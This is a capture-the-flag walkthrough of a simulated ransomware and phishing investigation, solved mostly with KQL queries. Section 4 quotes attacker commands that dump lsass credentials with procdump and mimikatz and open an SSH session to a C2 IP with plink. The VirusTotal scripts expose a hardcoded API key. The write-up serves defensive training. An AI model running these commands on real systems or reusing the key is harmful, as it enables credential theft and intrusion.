Castle & Sand

Pre

Challenge URL: Castle & Sand

Section 1: KQL 101 ๐Ÿงฐ

Skipped...

Official Writeup

Section 2: Shark Attack! ๐Ÿฆˆ

1: What email address did the threat actor provide to Castle&Sand to communicate with them?

The picture gives us backstory of the attack, and the image includes attackers email at the bottom for proof of concept and communication.

Ransomware Note

2: What is the unique decryption ID?

Retrieved from the note.

3: Should this be something you post publicly about? Yes or no?

Publicly disclosing the ransomware is never a good idea, especially if this happens in company environment. The sensitive data which belong to organization cannot be disclosed to public, its your job as a SoC to protect that information from attackers.

4: How many notes appeared in Castle&Sand's environment?

The ransom note filename was called "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt."

FileCreationEvents
| where filename == 'PAY_UP_OR_SWIM_WITH_THE_FISHES.txt'
| distinct hostname
| count 

5: How many distinct hostnames had the ransom note?

Same answer as in Question 4

6: How many distinct employee roles were affected by the ransomware attack?

let operator.

let infectedHosts = FileCreationEvents
| where filename == 'PAY_UP_OR_SWIM_WITH_THE_FISHES.txt'
| distinct hostname;
Employees
| where hostname in (infectedHosts)
| distinct role
| count 

7: How many unique hostnames belong to IT employees?

From Question 6 we found the infected machine roles and only 1 role corresponds to IT.

let infectedHosts = FileCreationEvents
| where filename == 'PAY_UP_OR_SWIM_WITH_THE_FISHES.txt'
| distinct hostname;
Employees
| where hostname in (infectedHosts)
| where role == 'IT Helpdesk'
| count 

8: One of the IT employees has their IP address ending in 46. What's their name?

Employees
| where role == 'IT Helpdesk'
| where ip_addr endswith ".46"

9: How many security alerts involved the different hosts?

In SecurityAlerts table there isnt distinct column for hostname. Description contains hostnames and has_any operator can be used to check for multiple strings.

let infectedHosts = FileCreationEvents
| where filename == 'PAY_UP_OR_SWIM_WITH_THE_FISHES.txt'
| distinct hostname;
SecurityAlerts
| where description has_any (infectedHosts)
| count 

10: How about just the unique hostnames belonging to the IT Helpdesk from Question 7?

  1. Filter for infected hosts

  2. Filter for IT employee hostnames

  3. Check security alerts for IT hostnames

let infectedHosts = FileCreationEvents
| where filename == 'PAY_UP_OR_SWIM_WITH_THE_FISHES.txt'
| distinct hostname;
let infectedHostsIT = Employees
| where role == 'IT Helpdesk'
| where hostname in (infectedHosts)
| project hostname;
SecurityAlerts
| where description has_any (infectedHostsIT)
| count 

11: Who owns the machine that flagged on that alert?

(provide their name)

Most description in the previous query looks the same, but if we filter against suspicious we can identify the malicious file.

| where not(description has 'A suspicious file was detected on host')

Find employee name.

Employees
| where hostname == '6S7W-MACHINE'
| project name

12: When did the file appear on that user's machine?

copy and paste the full timestamp

FileCreationEvents
| where hostname == '6S7W-MACHINE'
| where filename == 'Chomping-Schedule_Changes.xlsx'

13: What's the SHA256 hash of that file?

Question 12 query, sha256.

14: What application created that file?

Question 12 query, process_name.

15: Let's look for other files with that same name. How many unique hosts had that file on their systems?

FileCreationEvents
| where filename == 'Chomping-Schedule_Changes.xlsx'
| distinct hostname
| count 

16: How many unique domains did employees download this file from?

OutboundNetworkEvents
| where url has 'Chomping-Schedule_Changes.xlsx'
| distinct url
https://jawfin.com/published/images/files/Chomping-Schedule_Changes.xlsx
http://sharkfin.com/modules/public/published/Chomping-Schedule_Changes.xlsx

17: Based on the employee we've been tracking from Question 11, which domain did they download the file from?

let employeeIP = Employees
| where hostname == '6S7W-MACHINE'
| project ip_addr;
OutboundNetworkEvents
| where src_ip == toscalar(employeeIP)
| where url has 'Chomping-Schedule_Changes.xlsx'
| project parse_url(url).Host

18: How many unique IP addresses did the domain resolve to?

PassiveDns
| where domain == 'jawfin.com'
| distinct ip
| count  

19: Which IP address is closest to when the employee had the file created on their host machine?

1 IP appears 2 times within ~5days frame

let fileCreatedAt = toscalar(FileCreationEvents
| where hostname == '6S7W-MACHINE'
| where filename == 'Chomping-Schedule_Changes.xlsx'
| project timestamp);
PassiveDns
| where domain == 'jawfin.com'
| sort by timestamp 
| evaluate rows_near(timestamp >= fileCreatedAt, 1)
| extend fileCreatedAt

20: How many unique IPs did that domain resolve to?

There was another domain found from Q16.

PassiveDns
| where domain == 'sharkfin.com'
| distinct ip

21: Let's take all of the IP addresses from the two domains and search them against network events on Castle&Sand's website. How many records returned from your query?

We can take known domains, get unique ips and filter InboundNetworkEvents for incoming requests from those ips.

let susIPs = PassiveDns
| where domain in ('sharkfin.com', 'jawfin.com')
| distinct ip;
InboundNetworkEvents
| where src_ip in (susIPs)
| count 

22: When was the first time we saw any of these actor IP addresses from Q21 against Castle&Sand's network?

Replace Question 21 query count to take 1 for first event. (Database is already sorted with timestamps)

23: Let's search the actor IPs against AuthenticationEvents to see if they logged into any user machines or email accounts. How many records did you get back?

let susIPs = PassiveDns
| where domain in ('sharkfin.com', 'jawfin.com')
| distinct ip;
AuthenticationEvents
| where src_ip in (susIPs)

24: Let's look for the malicious domains in Emails. How many records did you get back?

Email
| where parse_url(link).Host in ('sharkfin.com', 'jawfin.com')
| count 

25: When was the earliest email sent?

Replace Question 24 query count to take 1 for first event. (Database is already sorted with timestamps)

26: Who was the sender?

Question 25 has the answer.

27: How many emails total did that sender send to Castle&Sand employees?

Email
| where sender == 'legal.sand@verizon.com'
| where recipient endswith 'castleandsand.com'
| count 

28: Take all of the distinct sender or reply_to emails from the last question. How many emails total are associated with these email addresses?

We already know sender and we can use same query to get distinct reply_to

let maliciousSender = 'legal.sand@verizon.com';
Email
| where sender == maliciousSender
| where recipient endswith 'castleandsand.com'
| distinct reply_to 

I wasn't able to figure out a graceful way to join 2 columns into 1, so I just created list variable using dynamic data type.

Using or

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);
Email
| where sender in (emails) or reply_to in (emails)
| count 

29: How many unique domains did the email addresses use in their emails?

Same query from Question 28, but instead of

| count

--->

| distinct tostring(parse_url(link).Host)

30: How many distinct IP addresses total were used by all of the domains identified in Q28?

Question should mention Q29? ๐Ÿค”

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);
let domains = Email
| where sender in (emails) or reply_to in (emails)
| distinct tostring(parse_url(link).Host);
PassiveDns
| where domain in (domains)
| distinct ip
| count 

31: How many user accounts did these IPs log into?

The sql is getting longer and longer, we just need to check previous query results IPs in AuthenticationEvents for login attempts.

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);
let domains = Email
| where sender in (emails) or reply_to in (emails)
| distinct tostring(parse_url(link).Host);
let ips = PassiveDns
| where domain in (domains)
| distinct ip;
AuthenticationEvents
| where src_ip in (ips)

32: Looking at these emails (from question 31), how many unique filenames were served by these domains?

Question should mention Q28 for emails? ๐Ÿค”

parse_path function is useful in this case for extracting the filenames.

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);
Email
| where sender in (emails) or reply_to in (emails)
| distinct tostring(parse_path(link).Filename)

33: How many files with these names were created on employee host machines?

Extend query from Question32 and get distinct machine hostnames.

FileCreationEvents
| where filename in (Q32Output)
| distinct hostname
| count 

34: When was the first file observed?

For some reason the database wasn't sorted so add that condition.

FileCreationEvents
| where filename in (Q32Output)
| order by timestamp asc 
| take 1

35: How many records total are associated with the identified host machines from Q33?

The sql chain getting longer and longer...

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);
let Q32Output = Email
| where sender in (emails) or reply_to in (emails)
| distinct tostring(parse_path(link).Filename);
let Q33Output = FileCreationEvents
| where filename in (Q32Output)
| distinct hostname;
ProcessEvents
| where hostname in (Q33Output)
| count 

36: How many records total do you have now?

Using your query from Q35, set a new query where the timestamp is greater than the first time you saw the file in Q34.

We can add one more filter

| where timestamp > datetime(2023-05-25T16:43:20Z)

37: What IP address is referenced in that command?

Let's look at the first few records. There's some suspicious powershell activity that occurs near the beginning.

We can filter process_commandline for only powershell commands and we can also filter against commands that start with C: (absolute path), because users usually run commands with relative path.

ProcessEvents
| where hostname in (Q33Output)
| where timestamp >= datetime(2023-05-25T16:43:20Z)
| where process_commandline has 'powershell'
| where not(process_commandline has 'C:')
| order by timestamp asc
| project process_commandline

Weird thing happened in this query, project process_commandline decided that it would sort the results on its own? that's why order by is necessary with project in this query..

38: Which host machine did the powershell activity execute on?

We found it from Question 37 query (first event).

39: There's a weird repeating command right before this activity. What's the parent process of the first time this repeated activity occurs?

Filter for events till the previous query's answer and then count parent process names.

ProcessEvents
| where hostname == 'CL8Q-LAPTOP'
| where timestamp <= datetime('2023-05-25T18:28:02Z')
| summarize count() by parent_process_name

The results look normal? All listed processes seem legit, but scvhost.exe seems a bit weird. First of all if you're windows user you probably checked Task Manager > Details tab and would have seen bijilion of this programs running for whatever reason... and if we take a closer look we can notice that it's scvhost not svchost. Sussy indeed ๐Ÿ‘€

40: What legitimate Windows process was this file trying to masquerade as?

Discussed in Question 39

41: How many hosts had their passwords dumped?

The most popular tool for dumping password on Windows machine is, of course without saying, mimikatz.

We can filter for common keyword to identify the process if we are not 100% certain.

ProcessEvents
| where hostname == 'CL8Q-LAPTOP'
| where process_commandline contains 'password'
ProcessEvents
| where process_name == 'mimikatz.exe'
| distinct hostname
| count 

If you tried process_commandline has 'mimikatz' then you would have noticed extra 4 events, which for this question is not revelant.

42: How many hosts did that powershell command execute on?

Let's go back to the powershell activity Q37.

From Question 37 we saw PowerShell command is downloading a script from the specified URL and executing it in a hidden mode without loading the user profile.

ProcessEvents
| where process_commandline has '.downloadstring'
| distinct hostname
| count 

43: How many unique IP addresses were used in these commands?

To get unique IPs first we have to extract them from process_commandline. The proccess is very simple using RegEx. extract function allows us to specify the 1) pattern, 2) group to select, 3) from where.

If RegEx pattern seems scary, just know that it's simple IP matcher, [0-9]+. -> 123. repeated 3 times + [0-9] -> 123. I wont dive into regular expressions, but its very powerful tool to know.

ProcessEvents
| where process_commandline has '.downloadstring'
| distinct attackerIP = extract('(([0-9]+.){3}[0-9]+)', 1, process_commandline)
| count 

44: Which of these IP addresses was seen the most?

Almost same query, but with count function. To make it easier to identify the most repeated IP we can utilize sort/order by function

ProcessEvents
| where process_commandline has '.downloadstring'
| project attackerIP = extract('(([0-9]+.){3}[0-9]+)', 1, process_commandline)
| summarize count() by attackerIP
| order by count_ desc

KQL automatically names columns and for count it's count_

45: How many records total involved those processes?

Take the parent processes from Q42.

let Q42ParentProcessHashes = ProcessEvents
| where process_commandline has '.downloadstring'
| distinct parent_process_hash;
ProcessEvents
| where parent_process_hash in (Q42ParentProcessHashes)
| count 

46: Let's look to see if any of these files are referenced in the command line. How many records did you find?

these files means the parent_process_names from Question 42.

let files = ProcessEvents
| where process_commandline has '.downloadstring'
| distinct parent_process_name;
ProcessEvents
| where process_commandline has_any (files)
| count 

47: When was the earliest time found in Q46?

| count -> | take 1 | project timestamp from Question 47.

48: When was the earliest time you saw these files?

You remember that the encrypted files all had the extension '.sharkfin'. Search for that in created files.

FileCreationEvents
| where filename endswith ".sharkfin"
| order by timestamp asc 
| take 1

Section 3: Hunting the Shark ๐Ÿ”

1: How many hours does Castle&Sand have before the gang releases the information?

Link to voicemail: https://twitter.com/webyteyourdata/status/1665825830495219713

2: What do the ransomware gang call themselves?

The answer is in Voice mail (~10 seconds) or #tag.

3: What Mitre Technique is aligned with what this group did on Castle&Sand systems?

T1486: Data Encrypted for Impact.

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key.

4: Let's search for the email domain used in the ransom note. What is the ZIP code of their headquarters?

Some OSINT required for this task. First let's go back some: Flashback To Section 2 Question 1: Ransomeware Note

We find the domain of the email the attackers used in the Ransom Note. After that we can go to the official website and search for the answer. For address we can refer to Privacy Policy page and then Contacting us header.

5: What country is this email service located in?

We learned it from Question 4.

6: How many continents total are these IP addresses from?

GeoIP is a technique allowing to locate a web user based on their IP address.

PassiveDns
| where domain == 'jawfin.com'
| distinct ip

We can use given website to do GeoIP lookup for found (6) IPs, filter for distinct continents for answer.

If you have AdBlocker enabled the service may not work

7: What is the Autonomous System (AS) number for the IP address?

Use https://search.censys.io to look up the IP address found in Section 2, Q19.

193.248.75.126

ASN stands for Autonomous System Number. Imagine the internet as a giant network of highways. ASNs are like IDs for different highway authorities, each managing their own section. An AS can be an internet service provider (ISP), a large company, or even a government agency.

These authorities (ASNs) decide how traffic flows within their networks and how to connect to other highways (ASNs). This keeps the internet running smoothly and efficiently. There's a central registry to avoid confusion, ensuring each highway authority (ASN) has a unique ID.

-- For answer just submit the IP (from Section 2, Question 19) to given website

8: Which one is assigned to a University?

Look at the IPs from Section 2, Q20.

PassiveDns
| where domain == 'sharkfin.com'
| distinct ip

We can utilize MaxMind GeoIP again to identify source of ips, only 1 IP belong to University.

9: Which email address is associated with a company outside of the United States?

Look at the emails from Section 2, Q28.

let emails = dynamic([
    'legal.sand@verizon.com',
    'castle@hotmail.com',
    'legal.sand@verizon.com',
    'urgent_urgent@yandex.com'
]);

If you already don't know this company, you can look each one to learn more about them.

10: For the tool found in Section 2, Q41, What is the MITRE ID for that specific software?

Mimikatz, Software S0002

11: For the tool found in Section 2, Q41, what is the MITRE ID for that that type of technique that this tool is typically used for?

We know that attackers used this program to dump credentials of users, so we can lookup Techniques Used table for ID referencing this attack's ID.

12: How many unique SHA256 hashes are found in Castle&Sand's environment with these filenames?

Take the filenames from Section 2, Q45.

let Q42ParentProcessHashes = ProcessEvents
| where process_commandline has '.downloadstring'
| distinct parent_process_hash;
let Q45ProcessNames = ProcessEvents
| where parent_process_hash in (Q42ParentProcessHashes)
| distinct parent_process_name; // From Q45
FileCreationEvents              // New Lines For Query
| where filename in (Q45ProcessNames)
| distinct sha256
| count 

13: How many were flagged as malicious on VirusTotal?

I didn't want to go through the VirusTotal 1 by 1, so I just wrote a small script to grab relevant data.

VirusTotal: API Docs: File Info

import requests

URL = 'https://www.virustotal.com/api/v3/files/' 
HEADERS = { 'x-apikey': '1edf0047d0c03046cfa06936cd7c60343cb5f2fdd777eae3452ecfc899fe9707' }
RESULT = '''
Hash: %s
Meaningful Name: %s
Popular Thread Label: %s
Malicious: %d / %d
'''.lstrip()
NOT_FOUND = '<Not Found>'

hashes = [
    '28a181e8ebeda37943d17366eee83a5b677252891be6b4889c6a94f7e4b22671',
    '3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f',
    '9d1d090ca4fca82b66ac3731c133fe6e8e1be331cfd6d6e378cebaede5afe006',
    'c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d',
    'f822ef47a30b07308f1fa0e2dc261ebec77d0d173b0afaa27635b6511771a454',
    '5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90',
    'bb3d35cba3434f053280fc2887a7e6be703505385e184da4960e8db533cf4428',
    '63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7',
    'e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496',
    '490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994',
    '35ca10384a75de18555c5bf5265e2959ee7d65c4b9e21e0764c853949e777c38',
    '276f0c96b3d75afdf7ef899890a52db22242121c89c96bb97712a97aee043ea1',
]
for hash_ in hashes:
    resp = requests.get(URL + hash_, headers=HEADERS).json()
    if 'error' in resp:
        print(resp)
        print()
        continue
    resp = resp['data']['attributes']
    name = resp.get('meaningful_name', NOT_FOUND)
    threat_label = resp.get('popular_threat_classification', {}).get('suggested_threat_label', NOT_FOUND)
    stats = sum(resp['last_analysis_stats'].values())
    malicious = resp['last_analysis_stats']['malicious']
    
    print(RESULT % (hash_, name, threat_label, malicious, stats))
Hash: d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0
Meaningful Name: kerbrute_windows_amd64.exe
Popular Threat Label: trojan.kerbrute/rorschach
Malicious: 45 / 76

Hash: af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b
Meaningful Name: <Not Found>
Popular Threat Label: trojan.dllhijack/jocvw
Malicious: 45 / 75

Hash: 4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d
Meaningful Name: cydump.exe
Popular Threat Label: <Not Found>
Malicious: 0 / 73

Hash: 21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d
Meaningful Name: <Not Found>
Popular Threat Label: trojan.dllhijack/darkloader
Malicious: 45 / 76

Hash: b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2
Meaningful Name: config.ini
Popular Threat Label: trojan.rorschach/bablock
Malicious: 30 / 74

Hash: 7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250
Meaningful Name: scvhost_chi.exe
Popular Threat Label: ransomware.chisel/rorschach
Malicious: 44 / 76

Hash: aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f
Meaningful Name: 88167052a74057a93e12673599451baa
Popular Threat Label: trojan.dllhijack/rorschach
Malicious: 47 / 75

Hash: f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8
Meaningful Name: config.ini
Popular Threat Label: trojan.rorschach/lockbit
Malicious: 28 / 76

Hash: 82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
Meaningful Name: config.ini
Popular Threat Label: trojan.rorschach/lockbit
Malicious: 28 / 76

14: Which file hash was reported by the security community as the ransomware's encrypted payload?

VirusTotal Docs: Get comments on a file

Same as last question, but grabbed first line of comments.

import requests

URL = 'https://www.virustotal.com/api/v3/files/%s/comments'
HEADERS = { 'x-apikey': '1edf0047d0c03046cfa06936cd7c60343cb5f2fdd777eae3452ecfc899fe9707' }

hashes = [
    'd18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0',
    'af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b',
    '4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d',
    '21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d',
    'b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2',
    '7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250',
    'aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f',
    'f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8',
    '82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180',
]
for hash_ in hashes:
    resp = requests.get(URL % hash_, headers=HEADERS).json()
    print(f'\nHash: {hash_}')
    for i, comment in enumerate(resp['data'], start=1):
        comment = comment['attributes']['text']
        comment_first_line = comment.split('\n')[0]
        print(f'Comment {i}: {comment_first_line}')
Hash: d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0
Comment 1: YARA Signature Match - THOR APT Scanner

Hash: af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b
Comment 1: #BabLock #Ransomware Loader
Comment 2: YARA Signature Match - THOR APT Scanner

Hash: 4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d
Comment 1: Clean Tool, but used as transport vector by Rorschach
Comment 2: Cortex XDR tool being used by ransomware.
Comment 3: This indicator was mentioned in a report.
Comment 4: side-loading issue
Comment 5: Joe Sandbox Analysis:

Hash: 21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d
Comment 1: YARA Signature Match - THOR APT Scanner
Comment 2: #BabLock #Ransomware Loader

Hash: b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2
Comment 1: #BabLock Ransomware
Comment 2: #Unknown ransomware, encrypted shellcode with payload

Hash: 7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250
Comment 1: YARA Signature Match - THOR APT Scanner
Comment 2: YARA Signature Match - THOR APT Scanner
Comment 3: YARA Signature Match - THOR APT Scanner

Hash: aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f
Comment 1: #BabLock Ransomware, DLL side loading
Comment 2: Joe Sandbox Analysis:
Comment 3: #Unknown ransomware, DLL side loading

Hash: f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8
Comment 1: #BabLock #Ransomware encrypted payload

Hash: 82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
Comment 1: #BabLock #Ransomware encrypted payload

For some reason only last hash was accepted ๐Ÿฅด

15: What ransomware family uses a command similar to this process execution?

For Section 2, Q46

We learned about this from Question 13/14 (has more then 1 name).

Section 4: Sand in my ๐Ÿ‘๏ธ๐Ÿ‘๏ธ (New Threat Actor)

1: How many emails were sent from this email to Castle&Sand employees?

let email = 'castleandsand_official@outlook.com'; // Given from question
Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct recipient
| count  

2: There appears to be another email account. How many emails total are referenced by these two email accounts?

We also have a reply_to in emails, filtering for distinct emails we get 2. After that we can filter for communication for those emails.

let email = 'castleandsand_official@outlook.com';
let replyToEmails = Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct reply_to;
Email
| where sender in (replyToEmails)
| count 

3: How many unique domains were used by these email accounts?

let email = 'castleandsand_official@outlook.com';
let replyToEmails = Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct reply_to;
Email
| where sender in (replyToEmails)
| distinct tostring(parse_url(link).Host)

4: Based on these domains, what type of attack did this threat actor conduct?

First let's observe what happened. If we filter OutboundNetworkEvents for known domains we see a weird behavior, the domains are mainly in http://link?redirect=domain. Similar behavior was observed in Balloons Over Iowa room.

let domains = dynamic([
    'keywordssurfparadise.com',
    'beachlifestylestore.com',
    'sunandcastletrading.com',
    'sandsurfinggear.com'
]);
OutboundNetworkEvents
| where url has_any (domains)

Now let's see what happens after redirect. Redirections seem to be initiated from legitimate websites and ends up on malicious domain with file download. This attack is known as Drive-by Compromise or Watering Hole Attack.

let domains = dynamic([
    'keywordssurfparadise.com',
    'beachlifestylestore.com',
    'sunandcastletrading.com',
    'sandsurfinggear.com'
]);
OutboundNetworkEvents
| where url has_any (domains)
| serialize 
| evaluate rows_near(url has '?redirect', 1, 0)

5: How many distinct job roles were targeted by this type of attack?

Continuing the query from Question 3.

let email = 'castleandsand_official@outlook.com';
let replyToEmails = Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct reply_to;
let affectedEmails = Email
| where sender in (replyToEmails)
| distinct recipient;
Employees
| where email_addr in (affectedEmails)
| distinct role
| count 

6: How many external IP addresses were used to successfully log into those user accounts?

Let's take the targeted employees and look for all external IP addresses that authenticated to those users.

Chain the previous query with current one and filter AuthenticationEvents for login events.

  1. Get affected employee usernames

  2. Filter out local ips (which belong to employees)

  3. Only get effected employees.

  4. Get successful logins

  5. Get distict remote IPs

let email = 'castleandsand_official@outlook.com';
let replyToEmails = Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct reply_to;
let affectedEmails = Email
| where sender in (replyToEmails)
| distinct recipient;
let affectedEmployees = Employees
| where email_addr in (affectedEmails)
| distinct username; // 1.
AuthenticationEvents
| where not( src_ip in (Employees | distinct ip_addr) ) // 2.
| where username in (affectedEmployees) // 3.
| where result == 'Successful Login' // 4.
| distinct src_ip // 5.
| count 

7: These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?

We need to look inside InboundNetworkEvents table, because the attackers got inside the machines and probably downloaded the malicious files.

If you take a look at url column accessed by IPs, you will notice urls with download keyword.

parse_urlquery function can be used to parse the query string in url. Parse the (json) output of function and get distinct filenames. (tostring required for distinct)

InboundNetworkEvents
| where src_ip in (Q6Output)
| where url has 'download'
| distinct tostring(parse_urlquery(url)['Query Parameters']['output'])
| count 

8: How many distinct IPs were involved in the stealing of downloaded data from the previous questions?

InboundNetworkEvents
| where src_ip in (Q6Output)
| where url has 'download'
| distinct src_ip
| count 

9: Based on the IPs from Q6, how many unique domains did they resolve to?

For domains we need to use PassiveDns table.

PassiveDns
| where ip in (Q6Output)
| distinct domain
| count 

10: Let's go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?

Modify Question 6 query.

Since the attackers got inside machines we cant rule out the possibility of them using company's network to pivot to other machines.

AuthenticationEvents
| where username in (affectedEmployees)
| where result == 'Successful Login'
| distinct hostname
| count 

11: Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?

First filter for watering hole domains in OutboundNetworkEvents. Not all urls resolved to download, so I used parse_path function to extract Extension, filter empty Extension and then grab Filenames. After getting filenames we check FileCreationEvents for relevant files.

let requestedFilenames = OutboundNetworkEvents
| where url has_any (Q9Output)
| extend extension = parse_path(url).Extension
| where extension != ''
| distinct tostring(parse_path(url).Filename);
FileCreationEvents
| where filename in (requestedFilenames)
| count 

Checking extension doesn't really matter for this case, because filenames will match themselves and extensionless files will get ignored. But cleaner data is always nice.

12: Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?

  1. Get malicious filenames

  2. Get downloaded filenames

  3. Get hostnames where files got downloaded

  4. Filter FileCreationEvents

    1. By hostname

    2. Add new column using next function to get next row value in current row. Practical Demonstation By TechBrothersIT

    3. By malicious filenames

    4. Get next_filenames

    5. But not same filenames in 3

let requestedFilenames = OutboundNetworkEvents
| where url has_any (Q9Output)
| distinct tostring(parse_path(url).Filename);
let downloadedFiles = FileCreationEvents
| where filename in (requestedFilenames)
| distinct filename;
let downloadedFilesHosts = FileCreationEvents
| where filename in (requestedFilenames)
| distinct hostname;
FileCreationEvents
| where hostname in (downloadedFilesHosts)
| order by timestamp asc
| extend next_filename = next(filename, 1)
| where filename in (downloadedFiles)
| distinct next_filename  
| where not(next_filename in (downloadedFiles))

procdump64 is part of Sysinternals, but is considered malicious because of usage (Check in ProcessEvents)

13: How many of these files total are present on Castle&Sand systems?

let maliciousFiles = dynamic([
    'TSVIPSrv.dll',
    '1.exe',
    'i.exe',
    'wmi.dll',    
    'procdump64.exe'
]);
FileCreationEvents
| where filename in (maliciousFiles)
| count 

14: How many distinct C2 servers are associated with the malware?

Since we are looking for C2 Servers we need to look for IPv4 addresses. First we filter processes by parent process name (malicious file) and then I used regex to filter for IPv4 in process_commandline. extract function to get regex pattern from column.

let maliciousFiles = dynamic([
    'TSVIPSrv.dll',
    '1.exe',
    'i.exe',
    'wmi.dll',    
    'procdump64.exe'
]);
let patternIP = @"((\d{1,3}\.){3}\d{1,3})";
ProcessEvents
| where parent_process_name in (maliciousFiles)
| where process_commandline matches regex patternIP
| project c2server = extract(patternIP, 0, process_commandline)
| distinct c2server
| count 

15: When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.

KC7: Now it's kind of a choose your own adventure. You need to find out what this threat actor did at the very end.

First let's start by getting all the records which are associated with malicious files.

let maliciousFiles = dynamic([
    'TSVIPSrv.dll',
    '1.exe',
    'i.exe',
    'wmi.dll',    
    'procdump64.exe'
]);
ProcessEvents
| where parent_process_name in (maliciousFiles)
| project timestamp, username, process_name, parent_process_name, process_commandline

Commands look mostly the same. The last effected user is jojones. 2 commands was run on this user:

I. procdump64.exe -accepteula -ma lsass.exe lsass.dmp C:\mi.exe \"privilege::debug\" \"sekurlsa::logonpasswords full\" exit >> C:\log.txt mimikatz's sekurlsa::logonpasswords

  1. Procdump (procdump64.exe):

    • procdump64.exe: This is a command-line utility provided by Sysinternals (Microsoft) used for creating process dumps of running applications.

    • -accepteula: This flag is used to automatically accept the End-User License Agreement (EULA) when running Procdump.

    • -ma: This flag specifies that Procdump should create a full dump of the target process memory.

    • lsass.exe: This is the target process for which the memory dump is being created. lsass.exe is the Local Security Authority Subsystem Service on Windows.

    • lsass.dmp: This is the output file where the memory dump of the lsass.exe process will be saved.

  2. Mimikatz (mimikatz.exe):

    • C:\mi.exe: This seems to be an executable file named "mi.exe" (or possibly "mimikatz.exe") located in the root of the C: drive.

    • "privilege::debug": This is a command passed to Mimikatz. It grants the debug privilege to the process running Mimikatz. Debug privilege is necessary for certain operations, especially those interacting with LSASS (Local Security Authority Subsystem Service).

    • "sekurlsa::logonpasswords full": This is another Mimikatz command. It instructs Mimikatz to perform a specific action - in this case, extracting logon passwords from LSASS (~dump credentials).

    • exit: This command is used to exit Mimikatz after the specified commands have been executed.

    • >> C:\log.txt: This redirects the standard output of Mimikatz to a file named "log.txt" in the root of the C: drive.

In summary, this command sequence uses Procdump to create a memory dump of the LSASS process and then uses Mimikatz to analyze that dump the credentials.

II. plink.exe -i C:\Users\admin\.ssh\id_rsa 198.161.105.253 -q

  • plink.exe: This is the executable for Plink, a command-line SSH client for Windows.

  • -i C:\Users\admin\.ssh\id_rsa: This flag specifies the private key file to be used for authentication. In this case, the private key is located at C:\Users\admin\.ssh\id_rsa.

  • 198.161.105.253: This is the IP address of the remote server to which you want to connect via SSH.

  • -q: This flag stands for "quiet" and is used to suppress informational messages during the connection, making the output less verbose.

In summary, the command is initiating an SSH connection to the C2 server using the private key located at C:\Users\admin\.ssh\id_rsa, and suppressing additional informational messages with the -q flag. This is often used in automation scripts or scenarios where a quiet and automated connection is desired.

Now let's see what happens after plink was executed on jojones computer and filter for cmd/powershell for shell commands.

ProcessEvents
| where username == 'jojones'
